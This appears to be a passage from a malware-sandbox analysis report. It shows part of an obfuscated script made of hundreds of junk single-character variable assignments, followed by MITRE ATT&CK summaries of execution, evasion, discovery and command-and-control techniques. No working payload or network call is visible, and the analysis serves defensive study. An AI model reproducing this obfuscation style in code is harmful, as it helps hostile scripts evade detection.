479	iwafzmb = "m";
480	iwafzmb = "X";
481	iwafzmb = "Y";
482	iwafzmb = "u";
483	iwafzmb = "a";
484	iwafzmb = "S";
485	iwafzmb = "r";
486	iwafzmb = "z";
487	iwafzmb = "w";
488	iwafzmb = ":";
489	frvjoq = "d";
490	frvjoq = "K";
491	frvjoq = "P";
492	frvjoq = "C";
493	frvjoq = "f";
494	frvjoq = "H";
495	frvjoq = "Q";
496	frvjoq = "G";
497	frvjoq = "z";
498	frvjoq = "O";
499	frvjoq = "1";
500	oqffh = "F";
501	oqffh = "k";
502	oqffh = "b";
503	oqffh = "s";
504	oqffh = "b";
505	oqffh = "I";
506	oqffh = "E";
507	oqffh = "Y";
508	oqffh = "J";
509	oqffh = "w";
510	oqffh = "G";
511	oqffh = "g";
512	oqffh = "P";
513	oqffh = "y";
514	oqffh = "G";
515	oqffh = "p";
516	oqffh = "J";
517	oqffh = "R";
518	oqffh = "v";
519	oqffh = "l";
520	oqffh = "t";
521	oqffh = "B";
522	oqffh = "e";
523	oqffh = "U";
524	oqffh = "T";
525	oqffh = "q";
526	oqffh = "V";
527	oqffh = "n";
528	oqffh = "H";
529	oqffh = "s";
530	oqffh = "s";
531	oqffh = "n";
532	oqffh = "H";
533	oqffh = "R";
534	oqffh = "g";
535	oqffh = "K";
536	umlyxz = "Q";
537	umlyxz = "W";
538	umlyxz = "c";
539	umlyxz = "C";
540	umlyxz = "F";
541	umlyxz = "z";
542	umlyxz = "B";
543	umlyxz = "k";
544	umlyxz = "d";
545	umlyxz = "x";
546	umlyxz = "l";
547	umlyxz = "e";
548	umlyxz = "j";
549	umlyxz = "a";
550	umlyxz = "E";
551	umlyxz = "q";
552	umlyxz = "M";
553	umlyxz = "F";
554	umlyxz = "B";
555	umlyxz = "n";
556	umlyxz = "T";
557	umlyxz = "o";
558	umlyxz = "i";
559	umlyxz = "q";
560	umlyxz = "I";
561	umlyxz = "w";
562	umlyxz = "U";
563	umlyxz = "b";
564	umlyxz = "h";
565	umlyxz = "N";
566	umlyxz = "w";
567	umlyxz = "e";
568	umlyxz = "P";
569	umlyxz = "w";
570	umlyxz = "G";
571	umlyxz = "s";
572	xjeirihw = "r";
573	xjeirihw = "d";
574	xjeirihw = "l";
575	xjeirihw = "e";
576	xjeirihw = "K";
577	xjeirihw = "d";
578	xjeirihw = "W";
579	xjeirihw = "E";
580	uwsnuy = "h";
581	uwsnuy = "H";
582	uwsnuy = "x";
583	uwsnuy = "r";
584	uwsnuy = "J";
585	uwsnuy = "e";
586	uwsnuy = "Z";
587	uwsnuy = "V";
588	uwsnuy = "r";
589	uwsnuy = "E";
590	uwsnuy = "S";
591	uwsnuy = "S";
592	uwsnuy = "I";
593	uwsnuy = "Z";
594	uwsnuy = "B";
595	uwsnuy = "f";
596	uwsnuy = "c";
597	uwsnuy = "f";
598	uwsnuy = "G";
599	uwsnuy = "c";
600	uwsnuy = "M";
601	uwsnuy = "n";
602	uwsnuy = "L";
603	uwsnuy = "W";
604	uwsnuy = "t";
605	uwsnuy = "F";
606	uwsnuy = "c";
607	uwsnuy = "K";
608	uwsnuy = "Z";
609	uwsnuy = "m";
610	uwsnuy = "m";
611	uwsnuy = "r";
612	figiiff = "F";
613	figiiff = "r";
614	figiiff = "q";
615	figiiff = "r";
616	figiiff = "W";
617	figiiff = "j";
618	figiiff = "l";
619	figiiff = "V";
620	figiiff = "c";
621	figiiff = "F";
622	figiiff = "Z";
623	figiiff = "b";
624	figiiff = "U";
625	figiiff = "E";
626	figiiff = "Q";
627	figiiff = "A";
628	figiiff = "t";
629	figiiff = "G";
630	figiiff = "U";
631	figiiff = "F";
632	figiiff = "I";
633	figiiff = "a";
634	figiiff = "T";
635	figiiff = "b";
636	figiiff = "x";
637	figiiff = "Z";
638	figiiff = "Q";
639	figiiff = "2";
640	bpvltxkg = "c";
641	bpvltxkg = "G";
642	bpvltxkg = "t";
643	bpvltxkg = "Z";
644	bpvltxkg = "M";
645	bpvltxkg = "J";
646	bpvltxkg = "e";
647	bpvltxkg = "M";
648	bpvltxkg = "A";
649	bpvltxkg = "s";
650	bpvltxkg = "Q";
651	bpvltxkg = "j";
652	bpvltxkg = "T";
653	bpvltxkg = "U";
654	bpvltxkg = "j";
655	bpvltxkg = "J";
656	bpvltxkg = "N";
657	bpvltxkg = "Q";
658	bpvltxkg = "n";
659	bpvltxkg = "i";
660	bpvltxkg = "g";
661	bpvltxkg = "G";
662	bpvltxkg = "r";
663	bpvltxkg = "e";
664	bpvltxkg = "b";
665	bpvltxkg = "H";
666	bpvltxkg = "Q";
667	bpvltxkg = "V";
668	bpvltxkg = "m";
669	bpvltxkg = "m";
670	bpvltxkg = "v";
671	bpvltxkg = "O";
672	bpvltxkg = "O";
673	bpvltxkg = "b";
674	bpvltxkg = "s";
675	bpvltxkg = "f";
676	bpvltxkg = "_";
677	klbes = "c";
678	klbes = "h";
679	klbes = "h";
680	klbes = "t";
681	klbes = "w";
682	klbes = "D";
683	klbes = "K";
684	klbes = "l";
685	klbes = "N";
686	klbes = "F";
687	klbes = "g";
688	klbes = "a";
689	klbes = "y";
690	klbes = "L";
691	klbes = "H";
692	klbes = "K";
693	klbes = "P";
694	klbes = "Z";
695	klbes = "\"";
696	elxecg = "S";
697	elxecg = "S";
698	wzowpnrm = "D";
699	wzowpnrm = "g";
700	wzowpnrm = "E";
701	wzowpnrm = "q";
702	wzowpnrm = "Q";
703	wzowpnrm = "D";
704	wzowpnrm = "C";
705	wzowpnrm = "v";
706	wzowpnrm = "b";
707	wzowpnrm = "O";
708	wzowpnrm = "R";
709	wzowpnrm = "J";
710	wzowpnrm = "u";
711	wzowpnrm = "j";
712	wzowpnrm = "W";
713	wzowpnrm = "b";
714	wzowpnrm = "K";
715	wzowpnrm = "b";
716	wzowpnrm = "y";
717	wzowpnrm = "N";
718	wzowpnrm = "B";
719	wzowpnrm = "p";
720	wzowpnrm = "d";
721	wzowpnrm = "V";
722	wzowpnrm = "i";
723	wzowpnrm = "O";
724	wzowpnrm = "U";
725	wzowpnrm = "r";
726	wzowpnrm = "r";
727	wzowpnrm = "R";
728	wzowpnrm = "o";
729	wzowpnrm = "I";
730	wzowpnrm = "g";
731	wzowpnrm = "r";
732	wzowpnrm = "z";
733	wzowpnrm = "8";
734	mgoqg = "K";
735	mgoqg = "e";
736	mgoqg = "T";
737	mgoqg = "t";
738	mgoqg = "S";
739	mgoqg = "k";
740	mgoqg = "L";
741	mgoqg = "X";
742	mgoqg = "X";
743	mgoqg = "d";
744	mgoqg = "g";
745	mgoqg = "S";
746	mgoqg = "f";
747	mgoqg = "b";
748	mgoqg = "e";
749	mgoqg = "a";
750	mgoqg = "s";
751	mgoqg = "f";
752	mgoqg = "P";
753	mgoqg = "K";
754	mgoqg = "k";
755	mgoqg = "D";
756	mgoqg = "z";
757	mgoqg = "K";
758	mgoqg = "s";
759	mgoqg = "l";
760	mgoqg = "J";
761	mgoqg = "R";
762	hthojoddh = "S";
763	hthojoddh = "z";
764	hthojoddh = "m";
765	hthojoddh = "U";
766	hthojoddh = "w";
767	hthojoddh = "r";
768	hthojoddh = "G";
769	hthojoddh = "P";
770	hthojoddh = "s";
771	hthojoddh = "q";
772	hthojoddh = "p";
773	hthojoddh = "S";
774	hthojoddh = "z";
775	hthojoddh = "D";
776	hthojoddh = "P";
777	hthojoddh = "F";
778	hthojoddh = "W";
779	hthojoddh = "k";
780	hthojoddh = "H";
781	hthojoddh = "a";
782	hthojoddh = "H";
783	hthojoddh = "X";
784	hthojoddh = "q";
785	hthojoddh = "P";
786	hthojoddh = "o";
787	hthojoddh = "u";
788	hthojoddh = "Z";
789	hthojoddh = "h";
790	hthojoddh = "O";
791	hthojoddh = "q";
792	ifgdvgdzg = "l";
793	ifgdvgdzg = "q";
794	ifgdvgdzg = "M";
795	ifgdvgdzg = "t";
796	ifgdvgdzg = "H";
797	ifgdvgdzg = "g";
798	ifgdvgdzg = "z";
799	ifgdvgdzg = "k";
800	ifgdvgdzg = "H";
801	ifgdvgdzg = "A";
802	ifgdvgdzg = "V";
803	ifgdvgdzg = "A";
804	ifgdvgdzg = "S";
805	ifgdvgdzg = "L";
806	ifgdvgdzg = "U";
807	ifgdvgdzg = "J";
808	ifgdvgdzg = "K";
809	ifgdvgdzg = "M";
810	ifgdvgdzg = "X";
811	ifgdvgdzg = "W";
812	ifgdvgdzg = "L";
813	ifgdvgdzg = "k";
814	ifgdvgdzg = "u";
815	ifgdvgdzg = "g";
816	ifgdvgdzg = "Q";
817	ifgdvgdzg = "v";
818	ifgdvgdzg = "o";
819	ifgdvgdzg = "Q";
820	ifgdvgdzg = "X";
821	ifgdvgdzg = "Y";
822	ifgdvgdzg = "o";
823	ifgdvgdzg = "L";
824	ifgdvgdzg = "e";
825	ifgdvgdzg = "M";
826	ifgdvgdzg = "Z";
827	ifgdvgdzg = "u";
828	ifgdvgdzg = "v";
829	ifgdvgdzg = "o";
830	ifgdvgdzg = "m";
831	ifgdvgdzg = "G";
832	ifgdvgdzg = "b";
833	ifgdvgdzg = "c";
834	ifgdvgdzg = "O";
835	ifgdvgdzg = " ";
836	axajq = "f";
837	axajq = "c";
838	axajq = "r";
839	axajq = "E";
840	axajq = "s";
841	axajq = "f";
842	buqzsq = "h";
843	buqzsq = "Z";
844	buqzsq = "i";
845	buqzsq = "y";
846	buqzsq = "d";
847	buqzsq = "t";
848	buqzsq = "C";
849	buqzsq = "r";
850	buqzsq = "K";
851	buqzsq = "F";
852	buqzsq = "i";
853	buqzsq = "P";
854	buqzsq = "r";
855	buqzsq = "h";
856	buqzsq = "b";
857	buqzsq = "m";
858	buqzsq = "A";
859	buqzsq = "x";
860	buqzsq = "K";
861	buqzsq = "-";
862	mzjbgtup = "I";
863	mzjbgtup = "D";
864	mzjbgtup = "n";
865	mzjbgtup = "l";
866	mzjbgtup = "n";
867	mzjbgtup = "N";
868	mzjbgtup = "n";
869	mzjbgtup = "C";
870	mzjbgtup = "M";
871	mzjbgtup = "R";
872	mzjbgtup = "W";
873	mzjbgtup = "s";
874	mzjbgtup = "O";
875	mzjbgtup = "H";
876	mzjbgtup = "u";
877	mzjbgtup = "U";
878	mzjbgtup = "k";
879	mzjbgtup = "b";
880	mzjbgtup = "P";
881	mzjbgtup = "Z";
882	mzjbgtup = "h";
883	mzjbgtup = "x";
884	mzjbgtup = "u";
885	zwetmsymf = "i";
886	zwetmsymf = "Y";
887	zwetmsymf = "s";
888	zwetmsymf = "W";
889	zwetmsymf = "v";
890	zwetmsymf = "B";
891	zwetmsymf = "v";
892	zwetmsymf = "N";
893	zwetmsymf = "S";
894	zwetmsymf = "H";
895	zwetmsymf = "O";
896	zwetmsymf = "x";
897	zwetmsymf = "H";
898	zwetmsymf = "w";
899	zwetmsymf = "x";
900	zwetmsymf = "a";
901	zwetmsymf = "K";
902	zwetmsymf = "P";
903	zwetmsymf = "H";
904	zwetmsymf = "e";
905	zwetmsymf = "b";
906	zwetmsymf = "e";
907	zwetmsymf = "e";
908	zwetmsymf = "z";
909	zwetmsymf = "t";
910	zwetmsymf = "j";
911	zwetmsymf = "h";
912	zwetmsymf = "J";
913	zwetmsymf = "s";
914	zwetmsymf = "b";
915	zwetmsymf = "p";
916	zwetmsymf = "r";
917	zwetmsymf = "u";
918	zwetmsymf = "r";
919	zwetmsymf = "I";
920	zwetmsymf = "c";
921	zwetmsymf = "j";
922	zwetmsymf = "k";
923	zwetmsymf = "C";
924	pyywhjxd = "K";
925	pyywhjxd = "q";
926	pyywhjxd = "c";
927	pyywhjxd = "l";
928	pyywhjxd = "I";
929	pyywhjxd = "G";
930	pyywhjxd = "O";
931	pyywhjxd = "A";
932	pyywhjxd = "%";
933	zkaebxd = "T";
934	zkaebxd = "W";
935	zkaebxd = "R";
936	zkaebxd = "L";
937	zkaebxd = "v";
938	zkaebxd = "N";
939	zkaebxd = "e";
940	zkaebxd = "b";
941	zkaebxd = "Q";
942	zkaebxd = "M";
943	zkaebxd = "n";
944	zkaebxd = "M";
945	zkaebxd = "i";
946	zkaebxd = "o";
947	bxapi = "l";
948	bxapi = "x";
949	bxapi = "G";
950	bxapi = "g";
951	bxapi = "A";
952	bxapi = "b";
953	bxapi = "r";
954	bxapi = "v";
955	bxapi = "T";
956	bxapi = "G";
957	bxapi = "N";
958	bxapi = "o";
959	bxapi = "C";
960	bxapi = "F";
961	bxapi = "Q";
962	bxapi = "e";
963	bxapi = "Y";
964	bxapi = "U";
965	bxapi = "X";
966	bxapi = "C";
967	bxapi = "P";
968	bxapi = "H";
969	bxapi = "Z";
970	bxapi = "o";
971	bxapi = "n";
972	bxapi = "U";
973	bxapi = "m";
974	bxapi = "L";
975	bxapi = "j";
976	bxapi = "k";
977	bxapi = "z";
978	bxapi = "a";
979	bxapi = "S";
980	bxapi = "d";
981	bxapi = "e";
982	yqvga = "K";
983	yqvga = "T";
984	yqvga = "S";
985	yqvga = "z";
986	yqvga = "i";
987	yqvga = "M";
988	yqvga = "G";
989	yqvga = "B";
990	yqvga = "Q";
991	yqvga = "E";
992	yqvga = "G";
993	yqvga = "y";
994	yqvga = "h";
995	yqvga = "p";
996	yqvga = "G";
997	yqvga = "x";
998	yqvga = "H";
999	yqvga = "m";
1000	yqvga = "C";
1001	yqvga = "h";
1002	yqvga = "L";
1003	yqvga = "n";
1004	yqvga = "v";
1005	yqvga = "R";
1006	yqvga = "W";
1007	yqvga = "w";
1008	yqvga = "m";
1009	yqvga = "E";
1010	yqvga = "V";
1011	yqvga = "v";
1012	yqvga = "w";
1013	yqvga = "M";
1014	yqvga = "h";
1015	yqvga = "k";
1016	yqvga = "f";
1017	yqvga = "k";
1018	yqvga = "P";
1019	yqvga = "q";
1020	yqvga = "h";
1021	yqvga = "b";
1022	wmecun = "F";
1023	ytsdqh = "b";
1024	ytsdqh = "Q";
1025	ytsdqh = "p";
1026	ytsdqh = "u";
1027	ytsdqh = "g";
1028	ytsdqh = "C";
1029	ytsdqh = "R";
1030	ytsdqh = "D";
1031	ytsdqh = "O";
1032	ytsdqh = "H";
1033	ytsdqh = "G";
1034	ytsdqh = "V";
1035	ytsdqh = "Z";
1036	ytsdqh = "h";
1037	ytsdqh = "A";
1038	ytsdqh = "a";
1039	onotzm = "a";
1040	onotzm = "w";
1041	onotzm = "V";
1042	onotzm = "A";
1043	onotzm = "z";
1044	onotzm = "h";
1045	onotzm = "3";
1046	sfzvmighb = "K";
1047	sfzvmighb = "o";
1048	sfzvmighb = "k";
1049	sfzvmighb = "T";
1050	sfzvmighb = "B";
1051	sfzvmighb = "J";
1052	sfzvmighb = "k";
1053	sfzvmighb = "T";
1054	sfzvmighb = "b";
1055	sfzvmighb = "L";
1056	sfzvmighb = "s";
1057	sfzvmighb = "F";
1058	sfzvmighb = "J";
1059	sfzvmighb = "i";
1060	sfzvmighb = "Y";
1061	sfzvmighb = "O";
1062	sfzvmighb = "X";
1063	sfzvmighb = "f";
1064	sfzvmighb = "d";
1065	sfzvmighb = "k";
1066	sfzvmighb = "W";
1067	sfzvmighb = "i";
1068	sfzvmighb = "p";
1069	sfzvmighb = "m";
1070	xrbhfgr = "D";
1071	xrbhfgr = "B";
1072	xrbhfgr = "g";
1073	xrbhfgr = "Y";
1074	xrbhfgr = "R";
1075	xrbhfgr = "W";
1076	xrbhfgr = "s";
1077	xrbhfgr = "S";
1078	xrbhfgr = "l";
1079	xrbhfgr = "T";
1080	xrbhfgr = "g";
1081	xrbhfgr = "C";
1082	xrbhfgr = "D";
1083	xrbhfgr = "s";
1084	xrbhfgr = "k";
1085	xrbhfgr = "e";
1086	xrbhfgr = "p";
1087	xrbhfgr = "v";
1088	xrbhfgr = "K";
1089	xrbhfgr = "x";
1090	xrbhfgr = "O";
1091	xrbhfgr = "c";
1092	xrbhfgr = "y";
1093	xrbhfgr = "I";
1094	xrbhfgr = "K";
1095	xrbhfgr = "H";
1096	xrbhfgr = "D";
1097	xrbhfgr = "e";
1098	xrbhfgr = "Z";
1099	xrbhfgr = "O";
1100	xrbhfgr = "t";
1101	xrbhfgr = "n";
1102	xrbhfgr = "z";
1103	xrbhfgr = "y";
1104	xrbhfgr = "e";
1105	xrbhfgr = "S";
1106	xrbhfgr = "O";
1107	aannpuqp = "U";
1108	aannpuqp = "N";
1109	aannpuqp = "M";
1110	aannpuqp = "m";
1111	aannpuqp = "i";
1112	aannpuqp = "b";
1113	aannpuqp = "j";
1114	aannpuqp = "R";
1115	aannpuqp = "A";
1116	aannpuqp = "P";
1117	aannpuqp = "Q";
1118	aannpuqp = "c";
1119	aannpuqp = "L";
1120	aannpuqp = "i";
1121	aannpuqp = "K";
1122	aannpuqp = "l";
1123	aannpuqp = "z";
1124	aannpuqp = "l";
1125	aannpuqp = "w";
1126	aannpuqp = "J";
1127	aannpuqp = "q";
1128	aannpuqp = "I";
1129	keokl = "q";
1130	keokl = "X";
1131	keokl = "u";
1132	keokl = "w";
1133	keokl = "P";
1134	keokl = "t";
1135	qlbalf = "F";
1136	qlbalf = "g";
1137	qlbalf = "O";
1138	qlbalf = "R";
1139	qlbalf = "j";
1140	yksctf = "H";
1141	yksctf = "R";
1142	yksctf = "W";
1143	yksctf = "e";
1144	yksctf = "t";
1145	yksctf = "p";
1146	yksctf = "z";
1147	yksctf = "x";
1148	yksctf = "I";
1149	yksctf = "L";
1150	yksctf = "/";
1151	jcbpyypnr = "X";
1152	jcbpyypnr = "P";
1153	jcbpyypnr = "G";
1154	jcbpyypnr = "d";
1155	jcbpyypnr = "s";
1156	jcbpyypnr = "v";
1157	jcbpyypnr = "K";
1158	jcbpyypnr = "X";
1159	jcbpyypnr = "Q";
1160	jcbpyypnr = "b";
1161	jcbpyypnr = "c";
1162	jcbpyypnr = "v";
1163	jcbpyypnr = "J";
1164	jcbpyypnr = "E";
1165	jcbpyypnr = "j";
1166	jcbpyypnr = "d";
1167	bqioyw = "g";
1168	bqioyw = "j";
1169	bqioyw = "T";
1170	bqioyw = "M";
1171	bqioyw = "f";
1172	bqioyw = "F";
1173	bqioyw = "n";
1174	bqioyw = "f";
1175	bqioyw = "g";
1176	bqioyw = "B";
1177	bqioyw = "w";
1178	bqioyw = "S";
1179	bqioyw = "E";
1180	bqioyw = "Y";
1181	tywgwhiu = "k";
1182	tywgwhiu = "R";
1183	tywgwhiu = "e";
1184	tywgwhiu = "w";
1185	tywgwhiu = "z";
1186	tywgwhiu = "n";
1187	tywgwhiu = "w";
1188	tywgwhiu = "L";
1189	tywgwhiu = "T";
1190	tywgwhiu = "Z";
1191	tywgwhiu = "H";
1192	tywgwhiu = "m";
1193	tywgwhiu = "Y";
1194	tywgwhiu = "v";
1195	tywgwhiu = "N";
1196	tywgwhiu = "U";
1197	tywgwhiu = "R";
1198	tywgwhiu = "o";
1199	tywgwhiu = "P";
1200	tywgwhiu = "O";
1201	tywgwhiu = "V";
1202	tywgwhiu = "W";
1203	tywgwhiu = "C";
1204	tywgwhiu = "Y";
1205	tywgwhiu = "t";
1206	tywgwhiu = "H";
1207	tywgwhiu = "z";
1208	tywgwhiu = "a";
1209	tywgwhiu = "o";
1210	tywgwhiu = "p";
1211	zuztrd = "G";
1212	zuztrd = "C";
1213	zuztrd = "j";
1214	zuztrd = "s";
1215	zuztrd = "H";
1216	zuztrd = "T";
1217	zuztrd = "d";
1218	zuztrd = "s";
1219	zuztrd = "W";
1220	zuztrd = "r";
1221	zuztrd = "x";
1222	zuztrd = "q";
1223	zuztrd = "l";
1224	zuztrd = "v";
1225	zuztrd = "C";
1226	zuztrd = "x";
1227	zuztrd = "V";
1228	zuztrd = "A";
1229	zuztrd = "a";
1230	zuztrd = "N";
1231	zuztrd = "d";
1232	zuztrd = "S";
1233	zuztrd = "p";
1234	zuztrd = "l";
1235	zuztrd = "M";
1236	zuztrd = "x";
1237	zuztrd = "H";
1238	zuztrd = "a";
1239	zuztrd = "j";
1240	zuztrd = "T";
1241	zuztrd = "Z";
1242	zuztrd = "n";
1243	zuztrd = "u";
1244	zuztrd = "b";
1245	zuztrd = "e";
1246	zuztrd = "R";
1247	zuztrd = "U";
1248	vposycd = "R";
1249	vposycd = "X";
1250	vposycd = "e";
1251	vposycd = "a";
1252	vposycd = "P";
1253	vposycd = "T";
1254	vposycd = "z";
1255	vposycd = "l";
1256	vposycd = "f";
1257	vposycd = "G";
1258	vposycd = "K";
1259	vposycd = "W";
1260	vposycd = "b";
1261	vposycd = "s";
1262	vposycd = "\\";
1263	ijcxbaf = "M";
1264	ijcxbaf = "S";
1265	ijcxbaf = "Q";
1266	ijcxbaf = "Q";
1267	ijcxbaf = "Y";
1268	ijcxbaf = "l";
1269	fawbhx ( );	fawbhx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

